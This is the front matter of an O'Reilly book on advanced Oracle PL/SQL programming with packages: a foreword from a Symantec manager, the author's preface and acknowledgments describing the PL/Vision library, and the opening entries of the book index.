Change is inevitable. If you aren't prepared to accept and embrace it, you are bound to miss many opportunities. I use the above phrases to remind myself to be ready for that great new idea when it comes along. They came in especially handy when I first got to know Steven Feuerstein and his views on PL/SQL.

Back in September 1995, I was the development leader for a team in the Business Applications group at Symantec and we were gearing up for a new project, namely to build a front end to the customer information in Oracle's Financials package using the Forms component of Oracle's Developer/2000 toolset. We had never used Oracle Forms prior to Version 4.5 (probably a good thing) and this would be our largest effort involving PL/SQL-based code to date, so we had become intimately familiar overnight with the concept of "change." During the analysis phase of the project, I had encountered some of Steven's work in several articles, presentations, and his first book, Oracle PL/SQL Programming. After reading the book, it was clear that he had something different to say and that we might want to listen. His use of PL/SQL and packages in particular was like nothing I had seen before. I contacted Steven and asked him to come out and deliver his course as a kick-off to the development phase of the project.

After the entire development team had gone through the course and many of us had read a good part of his book, we became strongly motivated to streamline the decision-making process when coding, look for redundant code and put it into reusable modules, and build our code in layers by removing the implementation of a piece of functionality from its usage. Most importantly and more generally, we learned how to develop code in new ways. We knew we had a great opportunity with this project to apply Steven's lessons, producing an application and code base that would be flexible and maintainable.

The first step was to design the layers of code so that commonly used functions could be shared by any Symantec programmer building an application based on PL/SQL. Using packages, we took tasks like sequence generation and global variable management and put them in low-level modules. We put row date-time stamping functions in another layer, then moved on to create an application-specific layer and finally a form-specific layer. These layers were then used to construct highly robust and reusable templates for Oracle Forms development. Each layer used packages in a big way to isolate the functionality needed specifically within that layer. Fortunately, we had an early version of PL/Vision (Steven's library of PL/SQL code) and expanded on it to create many of the functions in the database layers.

Let me give you an example of how Steven's guidelines for improving the development process helped us out. I mentioned earlier that he talked to us about streamlining the decision-making process to reduce decision points and improve productivity. One of his specific recommendations in this vein was: always write explicit cursors when you need to execute a query in PL/SQL. Don't spend any time debating with yourself about whether to use a "quick and dirty" implicit or a programmatic explicit. Upon hearing this dogma, I was skeptical about the payback of the additional code required for the religious use of explicit cursors. This led Steven to reply: "Write the extra code for a week. By the end of the week, you won't even think about it any more."

He was absolutely right. The question of whether or not to use an explicit cursor has disappeared from our thought process. SELECT INTO is no longer used and OPEN-FETCH-CLOSE is now second nature. The result? Our code is more efficient, readable and consistent. Multiply the savings from that decision by 20 or 100 and it is easy to see how we were able to roll out our application in record time.

As the development of our application progressed, many shifts happened and we found it necessary to go back to completed modules and even change fundamentally the way a particular program was implemented. It was at this point that our layering efforts really paid off. We were usually able to make modifications (some of them rather significant) at the lower layers with no impact on the higher ones. We found with a big sigh of relief that it was even possible to add or modify key business rules without everyone having to change their own particular forms and high-level packages.

A few months into the development effort, our success showed that Oracle Forms was a viable tool and so a second, larger project was begun by another team. The task this time was to create an Oracle Developer/2000-based front end to the Order Entry module of Oracle's Financials application. We were determined that this new system would leverage many of the layers we had previously built and, sure enough, everything fell right into place. I have never seen an application move from specification to working code faster than Greyhound (the code name for this second system). Within 4 months, both of our ground-breaking applications were delivered to nearly 600 users in the smoothest roll-out any of us can remember.

In the projects I have just described, the majority of the PL/SQL code was written into the client-side of the equation, such as Oracle Forms PL/SQL libraries and forms. My next set of projects involve building browser-based applications for our corporate intranet: the kind of intranet which has our sales force directly updating core Financials datasets. These applications will now be written almost exclusively in PL/SQL packages residing in the server. Due to this fact, I expect that PL/Vision will become a core component of my toolbox. I have already developed a set of packages to manage data interactions with a Web browser client using PL/Vision and the techniques which have made it such an indispensable tool.

Maybe your users are different, but our internal customers expect to receive a new "shrink-wrapped" release of their applications packed with new features every few weeks (maybe Steven's next book could help us manage customers expectations). If it weren't for the things we have learned from Steven, directly from his code or as a result of his helping us think in new ways, we wouldn't be able to even imagine the maintainability we currently enjoy with our applications.

To help ensure that all our developers become proficient with PL/SQL as quickly as possible, every programmer in the Business Applications group is now given a copy of Oracle PL/SQL Programming as part of their new-hire kit. This second book will now be included in that kit and, for that matter, probably any other books Steven chooses to write in the future. I am constantly amazed at the different techniques and new possibilities we are able to learn about PL/SQL through Steven's efforts. I have also come to appreciate his ability to write about PL/SQL code construction in ways that keep me entertained and challenged, rather than nodding off late in the afternoon.

The bottom line is that Stevens "best practices" approach to PL/SQL has changed the way we at Symantec think about coding in PL/SQL. Through him, we have also begun to see the real power of Oracle's packages and how to use them in our everyday work. This "new order of things" has already paid off time and time again, not only for the developers in our organization, but for our customers. If you write PL/SQL code, I have no doubt that the ideas, software, and examples you find in this book will become a permanent part of your PL/SQL landscape.

-- Brian Shelden

Manager, Information Systems

Symantec Corporation

Previous: Dedication | Advanced Oracle PL/SQL Programming with Packages | Next: Preface
Dedication | Book Index | Preface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Preface

Contents:
Objectives of This Book
Structure of This Book
Conventions Used in This Book
About the Disk
About PL/Vision
Comments and Questions
Acknowledgments

Who would have thought that just one year after the publication of Oracle PL/SQL Programming,[1] a 916-page tome on "everything PL/SQL", I'd end up writing a second book about the PL/SQL language? Although back in September 1995 I wasn't arrogant enough to think that I knew all there was to know about PL/SQL, I also underestimated how much more I had still to learn!

I am firmly of the belief that one never stops learning -- as long as one is open to learning. The area of PL/SQL in which I needed lots more education turned out to be packages. In my first book I explained how to build and use packages. I even provided lots of examples of package construction. But I started to realize that this wasn't enough. Over the past year, I have been designing and developing a set of packages to help me build PL/SQL-based applications. This was a thoroughly selfish effort: I wanted to be as productive as possible, and I wanted to overcome a number of weaknesses -- however transient -- in the PL/SQL language. In the process of writing this software, I learned a good deal about the best ways to build PL/SQL code, especially regarding packages. I also discovered some very interesting techniques that can make packaged software more maintainable, accessible, and easy to use.

As my thinking on the construction of packages crystallized, I began to view all of my packages as a library of code that could be used by any PL/SQL developer. I also realized that I wanted to share the new techniques and lessons I had uncovered. The result? This book and the PL/Vision product.

How often do you find yourself writing a program and simultaneously thinking: somebody must have done this before! You feel certain that you are reinventing the wheel. Worse, if you are sufficiently honest with yourself, you will also admit that someone else has probably spent more time on the problem and has already come up with a better solution than you are likely to develop for your specific application.

Often, you know you should take the time to "genericize" a program so that you can use it again and again in different circumstances. Somehow, however, you never find the time -- and the mental space -- to take your code to that higher level of abstraction.

So you limp along, accepting a relatively low level of productivity and reusing a truly minimal amount of code. You write the same things over and over and simply push aside the feeling that you are wasting your time.

Oracle developers are fortunate to be able to use an advanced, robust language like PL/SQL. PL/SQL developers are, on the other hand, less than fortunate (at least as of September 1996) to find that the supporting environment for PL/SQL is still very immature. Where are the debuggers, the code formatters and generators, the toolboxes of reusable programs and objects? When will we have a powerful editor that knows about PL/SQL syntax and -- more importantly -- the stored code available for execution?

When, you might also ask, will this guy stop complaining? It is acceptable to identify weaknesses. It is constructive to analyze areas for improvement. At some point, however, you have to stop whining and start improving things for yourself. Best yet, keep on whining but engage in self-improvement at the same time!

This book will help you write better packages. It will also show you how to use the "prebuilt" packages of the PL/Vision software product -- my attempt to change the "situation on the ground" for PL/SQL programmers. Finally, I hope that it will, via examination of my source code and the way I separated functional areas in PL/Vision, offer a blueprint for PL/SQL developers to discover how to take full advantage of PL/SQL packages in their day-to-day programming.

Objectives of This Book

Why did I write this book? I have the following modest objectives:

  • Make sure as many PL/SQL developers as possible know about packages and how to use them. Students who attend my training sessions soon come to realize after a day or two that the answer to almost any question I ask is: "Build a package." They also often stumble out of the sessions chanting the mantra: "Packages, packages, packages..." I wrote this book and the companion software because I believe that packages are the single most important element of the PL/SQL language. You can never go wrong putting your code inside a package. You will, on the other hand, almost always regret not placing your functions and procedures inside packages from the get-go.

  • Get my software into the hands of as many PL/SQL developers as possible. I like to see others get the benefit of my efforts. I like the idea that my prebuilt software will free up your time. This book contains a full-use version of the PL/Vision product, PL/Vision Lite, along with extensive documentation on how to use this library.

    Of course, I also like to be compensated for my efforts, so you can also purchase a license to PL/Vision Professional; see the RevealNet website at >http://www.revealnet.com">

    (Unless otherwise noted, all references in this book to PL/Vision are to PL/Vision Lite.) You might use just a little bit of PL/Vision; you might leverage every single package into your production applications. Many readers will do nothing more than cannibalize PL/Vision, learning from these packages how to improve their own code. All of these variations are welcome and encouraged!

  • Make my readers more creative and effective problem solvers. I've had a wonderful time thinking about how to modularize and construct in layers basic packages to improve PL/SQL programming. I learned about effective ways to construct packages and about all kinds of magic you can do when you internalize the features and benefits of packages stored in shared memory. When I encountered an obstacle, I didn't throw up my hands and look for a workaround. Instead, I asked myself: "What kind of package can I build to solve this problem?" That attitude forced me to be creative, and there is nothing more exciting than unleashed creativity. I hope that this book and the software that comes with it inspires every one of my readers to fashion new answers to old questions and newer answers to new questions. You will never regret the conceptual leaps you take in the process.

Previous: Foreword | Advanced Oracle PL/SQL Programming with Packages | Next: Structure of This Book
Foreword | Book Index | Structure of This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Structure of This Book

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

Structure of This Book

This book is separated into six parts as follows:

Part I: Working With Packages

This part introduces packages, the most important construct in PL/SQL for building reusable code and employing object-oriented design techniques. Chapter 1, PL/SQL Packages describes how and when you should create packages and explains why PL/SQL developers should learn to center their entire development process around packages Chapter 2, Best Practices for Packages presents my tried-and-true "best practices" for building packages. Chapter 3, The PL/SQL Development Spiral puts packages in the context of overall PL/SQL development by providing a tutorial on solving a typical problem in PL/SQL.

Part II: PL/Vision Overview

Chapter 4, Getting Started with PL/Vision gets you started with PL/Vision, a collection of PL/SQL packages and supporting SQL*Plus scripts that can radically change the way you develop applications with the PL/SQL language. Chapter 5, PL/Vision Package Specifications provides a brief summary of all of the specifications for the PL/Vision packages, and is marked with a thumb-tab for quick reference.

Part III: Building Block Packages

Chapters 6 through 13 describe the building block packages of PL/Vision; these are low-level packages that you can use to enhance your development -- for example, string parsers, a list manager, and an interface to PL/SQL tables.

Part IV: Developer Utility Packages

Chapters 14 through 18 describe the developer utilities of PL/Vision; these are programs that improve your PL/SQL development environment -- for example, a code generator, a powerful substitute for SHOW ERORS, and an online help delivery mechanism.

Part V: PL/Vision Plug-and-Play Packages

Chapters 19 through 22 describe the plug-and-play components of PL/Vision; these are pieces of code that can be used as is in your own applications -- for example, a high-level exception handler mechanism and a generic, reusable logging mechanism.

Part VI: Testing Your Knowledge

The appendix provides a set of exercises (and their solutions) to test your knowledge of the PL/SQL language.

Previous: Objectives of This Book | Advanced Oracle PL/SQL Programming with Packages | Next: Conventions Used in This Book
Objectives of This Book | Book Index | Conventions Used in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Structure of This Book

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

Structure of This Book

This book is separated into six parts as follows:

Part I: Working With Packages

This part introduces packages, the most important construct in PL/SQL for building reusable code and employing object-oriented design techniques. Chapter 1, PL/SQL Packages describes how and when you should create packages and explains why PL/SQL developers should learn to center their entire development process around packages Chapter 2, Best Practices for Packages presents my tried-and-true "best practices" for building packages. Chapter 3, The PL/SQL Development Spiral puts packages in the context of overall PL/SQL development by providing a tutorial on solving a typical problem in PL/SQL.

Part II: PL/Vision Overview

Chapter 4, Getting Started with PL/Vision gets you started with PL/Vision, a collection of PL/SQL packages and supporting SQL*Plus scripts that can radically change the way you develop applications with the PL/SQL language. Chapter 5, PL/Vision Package Specifications provides a brief summary of all of the specifications for the PL/Vision packages, and is marked with a thumb-tab for quick reference.

Part III: Building Block Packages

Chapters 6 through 13 describe the building block packages of PL/Vision; these are low-level packages that you can use to enhance your development -- for example, string parsers, a list manager, and an interface to PL/SQL tables.

Part IV: Developer Utility Packages

Chapters 14 through 18 describe the developer utilities of PL/Vision; these are programs that improve your PL/SQL development environment -- for example, a code generator, a powerful substitute for SHOW ERORS, and an online help delivery mechanism.

Part V: PL/Vision Plug-and-Play Packages

Chapters 19 through 22 describe the plug-and-play components of PL/Vision; these are pieces of code that can be used as is in your own applications -- for example, a high-level exception handler mechanism and a generic, reusable logging mechanism.

Part VI: Testing Your Knowledge

The appendix provides a set of exercises (and their solutions) to test your knowledge of the PL/SQL language.

Previous: Objectives of This Book | Advanced Oracle PL/SQL Programming with Packages | Next: Conventions Used in This Book
Objectives of This Book | Book Index | Conventions Used in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference >[Preface] Conventions Used in This Book

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: Structure of This Book Preface Next: About the Disk

Conventions Used in This Book

The following conventions are used in this book:

Italic

is used for ﬁle and directory names.

Bold

is used in headers.

Constant width

is used for code examples and for variable, procedure, function, and package names in the text, as well as executable SQL scripts.

UPPERCASE

in code examples, indicates PL/SQL keywords.

lowercase

in code examples, indicates user-defined items such as variables and parameters.

punctuation

in code examples, enter exactly as shown.

indentation

in code examples, helps to show structure but is not required.

.

In code examples and related discussions, a dot qualifies a reference by separating an object name from a component name. For example, dot notation is used to specify declarations within a package (e.g., PLVvu.code).

In general, all of the discussions and examples in this book apply regardless of the machine and/or operating system you are using. In those few cases where a feature is in any way system-dependent, I note that in the text.

Previous: Structure of This Book | Advanced Oracle PL/SQL Programming with Packages | Next: About the Disk
Structure of This Book | Book Index | About the Disk
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About the Disk

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

About the Disk

The content of the companion PC disk (in MS-DOS format) that accompanies this book has been included on the CD, in the /advprog/disk/ directory. This disk contains a number of different elements (in compressed format), :

  • The installation program for RevealNet's PL/Vision Lite Online Reference, a companion to the book.

  • The packages of PL/Vision Lite.

  • Additional SQL*Plus scripts that improve developer productivity. Some of these scripts provide shortcuts to executing PL/Vision elements. Others are useful independent of PL/Vision.

  • Additional programs referenced throughout the book.

The disk itself can be run on any Windows 3.1, Windows for Workgroups, Windows 95, or Windows NT system. If you do not have a Windows system and are running a Macintosh, UNIX, or other type of system, you can obtain the PL/Vision Lite software from the RevealNet site at http://www.revealnet.com.

Chapter 4 explains the detailed contents of the directories created by the PL/Vision Lite installation program setup.exe.

Previous: Conventions Used in This Book | Advanced Oracle PL/SQL Programming with Packages | Next: About PL/Vision
Conventions Used in This Book | Book Index | About PL/Vision
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About PL/Vision

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

About PL/Vision

PL/Vision is a collection of PL/SQL packages and supporting SQL*Plus scripts which can radically change the way you develop applications with the PL/SQL language. PL/Vision programs can be put to work instantly in your environment, as standalone utilities, low-level functions, and plug-and-play components. You can retrofit existing applications to use PL/Vision or simply apply it to new development. Part 2, PL/Vision Overview of this book explains PL/Vision in detail -- what it consists of and how to use it.

PL/Vision is offered in two "flavors" by RevealNet, Inc.: Lite and Professional. PL/Vision Lite is the version of PL/Vision which serves as a companion product to this book. It was developed to help you take advantage of many advanced PL/SQL techniques in your own development environment. While PL/Vision Lite's functionality will not be extended, I will provide fixes to any bugs reported in that version of PL/Vision since the release of this book. You can check out the most current version of PL/Vision Lite on RevealNet's site at http://www.revealnet.com. Chapter 4 describes how to install the PL/Vision Lite software.

PL/Vision Professional is a fully supported and constantly evolving product. It offers a wider range of functionality, comprehensive leveraging of the latest versions of PL/SQL (including PL/SQL Release 2.3, Oracle Web Agent extensions, and PL/SQL Version 3, which will support object technology in the Oracle8 Server), and many code samples to help you take full advantage of PL/Vision. You can register for -- or simply get more information about -- PL/Vision Professional at the http://www.revealnet.com Web site.

I like to think of PL/Vision as more than just a software product; it is an open channel of communication between me and PL/SQL developers around the world. It is the means by which I will share my new discoveries in PL/SQL, especially those discoveries I can transform into packages for your use. It is also the way (through www.revealnet.com) for you to let me know about your suggestions for enhancements to PL/Vision.

PL/Vision is a large and complex body of code. This book and the PL/Vision Online Reference (on the companion disk) should go a long way towards making the software more accessible and useful to you. You can use this book both as user guide and mentor. You can use the Online Reference as a quick syntax checker for PL/Vision and also as a mechanism to view the source code of PL/Vision.

Book as User Guide

One way to use this book is as a user's guide to PL/Vision Lite. Chapter 5 offers a quick reference view of all the different package specifications for the software. From these tables of program headers and package constants, you can quickly glean the syntax you need to follow to execute PL/Vision programs.

Each of the chapters in Parts III, IV, and V presents one or more of the PL/Vision packages. In these chapters I use a consistent format with the following elements:

  • Introduction and overview.

  • A guide to how to use the elements of the package.

  • Special notes regarding the package (if any).

  • An explanation of how the package was designed and built. This last section is present only for some of the packages and is explained more fully later, in .

To keep the length of the book reasonable, I do not reproduce the full specifications and bodies for the PL/Vision packages in the book, but I do highlight the most interesting aspects of the packages. I encourage you to use the editor of your choice or the PL/Vision Online Reference to examine the code at your leisure or in parallel with the reading of the book.

Book as Mentor

I will be very happy if you decide to use PL/Vision in your development environment. More important than using PL/Vision, however, is learning how and why it is constructed the way it is. I will be happiest of all if, as a result of reading this book and studying my source code, you build your own version of PL/Vision: your own set of highly reusable, plug-and-play component packages.

I have tried to add content to the book itself that will move you along in this direction. In a number of the chapters, I go beyond describing how to use my packages to exploring why and how I build those packages. These implementation stories can go a long way in educating or inspiring you to build your own packages. In particular, see Chapter 8, PLVtab: Easy Access to PL/SQL Tables (PLVtab), Chapter 11, PLVobj: A Packaged Interface to ALL_OBJECTS (PLVobj), Chapter 15, PLVvu: Viewing Source Code and Compile Errors (PLVvu), Chapter 16, PLVgen: Generating PL/SQL Programs (PLVgen), Chapter 17, PLVhlp: Online Help for PL/SQL Programs (PLVhlp), Chapter 19, PLVdyn and PLVfk: Dynamic SQL and PL/SQL (PLVdyn), Chapter 20, PLVcmt and PLVrb: Commit and Rollback Processing (PLVcmt and PLVrb), and Chapter 22, Exception Handling (PLVexc). You will also find many smaller sections in other chapters offering insights into particular aspects of the packages.

Online Information

Information related to this book and PL/Vision Lite is available on the World Wide Web at:

http://www.revealnet.com/plvision

NOTE: Please check the Web site for any code changes to PL/Vision Lite which may have occurred since publication of this book.

Previous: About the Disk | Advanced Oracle PL/SQL Programming with Packages | Next: Comments and Questions
About the Disk | Book Index | Comments and Questions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Comments and Questions

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

Comments and Questions

Please address comments and questions concerning this book to the publisher:

O'Reilly & Associates
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)
1-707-829-0515 (international or local)
1-707-829-0104 (FAX)

You can also send us messages electronically. See the insert in the book for information about all of O'Reilly & Associates' online services.

To ask technical questions or to comment on the PL/Vision Lite product, send email to plvision@www.revealnet.com.

Previous: About PL/Vision | Advanced Oracle PL/SQL Programming with Packages | Next: Acknowledgments
About PL/Vision | Book Index | Acknowledgments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Acknowledgments

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

Acknowledgments

This book is very much a product of my imagination, grounded in the realities and possibilities of the PL/SQL language. Vague technical fantasies can be translated into packages only with a freedom of time and spirit. Many people helped in many ways to provide me with this freedom.

Bill Hinman, President and CEO of SSC, has supported me fully and encouraged me strenuously from the day I joined his consulting company. I am especially grateful for the weeks of straight writing time I was able to enjoy in the final stages of writing this book. Barrie Hinman, CFO of SSC, has been invaluable in managing the many details of our growing organization and my scattered activities. Hugo Toledo, author of Oracle Networking, made many things possible for me over the past year, from helping me with the installation of Oracle Server 7.3 for Windows NT to directing me to the executable which made it possible to print my training materials in "pure black and white." Hugo is my "answer man" and he'll never understand how deeply he is appreciated.

My technical reviewers played a critical role in turning my many hundreds of pages of somewhat raw text into a useful book (I hope). Brian Shelden of Symantec has been an enthusiastic booster and, much more importantly, tester of my concepts and code. Thomas Dunbar of WebCys again provided many excellent criticisms of my text and approach, forcing me to clarify concepts and justify techniques. Bert Scalzo showed an early and steady willingness to point out my mistakes which makes him a very valuable asset in my technical life. John Beresniewicz of Wynnsoft appeared late on the scene, but jumped in with both hands typing. His ideas and experience have enriched both the text and my understanding of my own code. Chuck Sisk of SSC was ready to take on whatever I asked of him even if that changed every week.

Finally, there is David Thompson of SSC. David is a meticulous, principled, and very smart Oracle developer. Both in my first book and in this text, he went beyond critiquing my work to providing well thought-out additions to the text. David built the PLVddd package, initially in a version independent of PL/Vision. He then converted it to use the PL/Vision packages, a process that served as an excellent test of the usefulness and usability of my software.

Many of my reviewers took time during their summer vacations to read my text, and for that I am deeply grateful.

I thank Kasu Sista and Ken Wiegle of Links Technology, Inc., for their generosity in providing a development machine on which I could test PL/Vision code for Release 2.3 of PL/SQL at a critical stage in this book.

I thank Petra Smulders of the European Oracle User Group, Lex de Haan of Oracle EMEA Education, and Ineke Werkman of Oracle Netherlands for their parts in my two wonderful trips to the Netherlands in 1996, where I trained Oracle developers and enjoyed Amsterdam.

I thank Peter Vasterd of Oracle Corporation for keeping a wide line of communication open with me, answering my sometimes, well, brainless questions, helping me get around technical and bureaucratic obstacles, and specifically making sure that I was able to build and test my software on an Oracle Server 7.3 database.

I thank Tom White and Steve Hilker of RevealNet for their enthusiastic support of my work and their help in making PL/Vision a living and breathing product.

I thank the various editors who have published my articles over the last year: Tony Ziemba of Oracle Developer (portions of this book appeared originally as articles in that publication), Jerry Coffee of Oracle Informant, Kathleen O'Connor of Oracle Technical Journal, Rich Niemiec of Select Magazine, and the folks at the Oracle Integrator. Writing these articles helped me focus my thinking and coding in ways that clarified the contents of this book.

I thank Ernie Martinez and Mark A. Ebel of COM.sortium LLC in Orlando for their help in sorting out my difficulties with UTL_FILE on my Windows NT Oracle 7.3 Server.

I thank Fred King, most able, industrious, and downright amiable computer serviceperson, who went beyond the call of duty to cannibalize a "spare" Toshiba Portege in order to retrieve the text of this book from my dead laptop and keep me writing.

I thank the good people at O'Reilly & Associates for another fine publishing experience. I thank Debby Russell, my editor, for another outstanding effort at transforming lots of interesting ideas and too much text into a text of manageable size and cohesiveness. I do not really understand how she manages to juggle all of her editing and book development responsibilities so effectively. I do know, however, that this book stands as yet another testimony to her skill and dedication. Thanks as well to David Futato, the production manager for the book; Kismet McDonough-Chan, the copyeditor; Mike Sierra, who converted the Microsoft Word files to FrameMaker; Edie Freedman, who designed the cover; Nancy Priest and Mary Jane Walsh, who designed the interior layout; Chris Reilley, who prepared the diagrams; Eden Reiner, who handled the advertising material; and Seth Maislin, who prepared the index.

I thank my wife, Veva Silva Feuerstein, for taking on a bigger-than-usual share (more than big enough to begin with) of "the family thing" and "the house thing" as I buried myself in my computers. I am lucky to have her and I hope she feels the same way about me.

I thank my son, Eli Silva Feuerstein, for never giving up on asking me to play with him, even as I was buried in inches of paper doing final edits. The games of horse and one-on-one in our tiny backyard basketball court definitely improved the text you read in this book.

I thank my son, Chris Silva, for helping us get away from our pets now and then, and for being such a fine big brother to Eli.

I thank my Uncle Dave Gventer for making clear to me early in life that just because most people believe one thing, that doesn't make it true. He opened my eyes to a different way of looking at the world.

Finally, I thank my mother and father, Joan Lee and Sheldon Feuerstein, for their support and love.

Previous: Comments and Questions | Advanced Oracle PL/SQL Programming with Packages | Next: I. Working With Packages
Comments and Questions | Book Index | I. Working With Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book Home Search this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Symbols and Numbers

$ operators : 5.9.3. Bundled, low-level operations
<$no page>numbers
as constants : (see literals)
-6503 error code : 3.7. Handling Program Assumptions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: A

abbreviations : 2.3.3. Avoiding Superfluous Naming Elements
access
ALL_OBJECTS view : 11.4. Accessing ALL_OBJECTS
messages : 5.19.2. Managing and accessing message text
object : 5.20.4. Accessing the current object
to operating system files : 13.1.1. Enabling File Access in the Oracle Server
package elements
1.3.1. Enforced Information Hiding
1.4.4. Access to Package Elements
1.6.1.5. Isolate volatile areas of functionality
2.7. Building Windows Into Your Packages
2.10. Hiding Package Data
PL/SQL call stack : 21.2.2. Accessing the PL/SQL Call Stack
PL/SQL tables : (see PLVtab package)
PL/Vision : 4.3.6. Granting Access to PL/Vision
stacks : 5.28.5. Accessing the PL/SQL call stack
action procedure : 21.2.3. Tracing Code Execution
add_text procedure
5.19.2. Managing and accessing message text
9.2. Storing Message Text
9.3.1. Substituting Oracle Messages
22.1.6.4. Defining error messages with PLVmsg
adding : (see creating)
ALL_OBJECTS view
11.2. ALL_OBJECTS View
11.4. Accessing ALL_OBJECTS
ALL_SOURCE data dictionary view
5.15.4. Managing the source repository
15.4.1. How to Find Source Code
anchored declarations : 2.10.5. Anchoring to Public Variables
append_line procedure
5.11.10. Writing to a file
13.6.1. Appending a Line
appenditem procedure : 5.18.3. Modifying list contents
ASCII characters : (see characters, string)
asrc procedure
5.15.4. Managing the source repository
12.3.4. High-Level Source Management Programs
assert procedure
5.3.5. Assertion routines
6.3. Assertion Routines
assert_inrange function : 6.3.3. Asserting "In Range"
assert_inrange procedure : 5.3.5. Assertion routines
assert_notnull function : 6.3.2. Asserting NOT NULL
assert_notnull procedure : 5.3.5. Assertion routines
assertion routines
3.7. Handling Program Assumptions
5.3.5. Assertion routines
6.3. Assertion Routines
assertion_failure exception
5.3.5. Assertion routines
6.3. Assertion Routines
atomics : (see parsing)
author function
5.13.3. Setting the author
16.3.2. Setting the Code Author
author string : 5.13.3. Setting the author
author, code : 16.3.2. Setting the Code Author

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: B

backward compatibility
3.3. Supplying Backward Compatibility
3.11. Don't Forget Backward Compatibility
bailing_out function
5.10.7. Bailing out program execution
22.1.10.2. Starting and stopping the bailout
bailout errors : 22.1.10. Bailing Out with PLVexc
bailout procedure
5.10.7. Bailing out program execution
22.1.10.2. Starting and stopping the bailout
bailout_error function : 22.1.10.1. Managing the bailout error list
bailout_on procedure : 22.1.10.1. Managing the bailout error list
banners between package elements : 2.2. Using Effective Coding Style for Packages
base_timing function : 5.27.6. Calibration and timing scripts
BEGIN-END block syntax
1.4.1. The Package Specification
1.6.2.1. Package body syntax
2.2. Using Effective Coding Style for Packages
best practices
4.1.1. The Benefits of PL/Vision
16.4.1. PLVgen Coding Guidelines
16.1. Options for Best Practices
bind variables
19.5. DML Operations
19.5.10.2. Avoiding schema confusion for DDL
binding objects to cursors : 11.5. Binding Objects to a Dynamic Cursor
bindobj procedure
5.20.8. Miscellaneous PLVobj programs
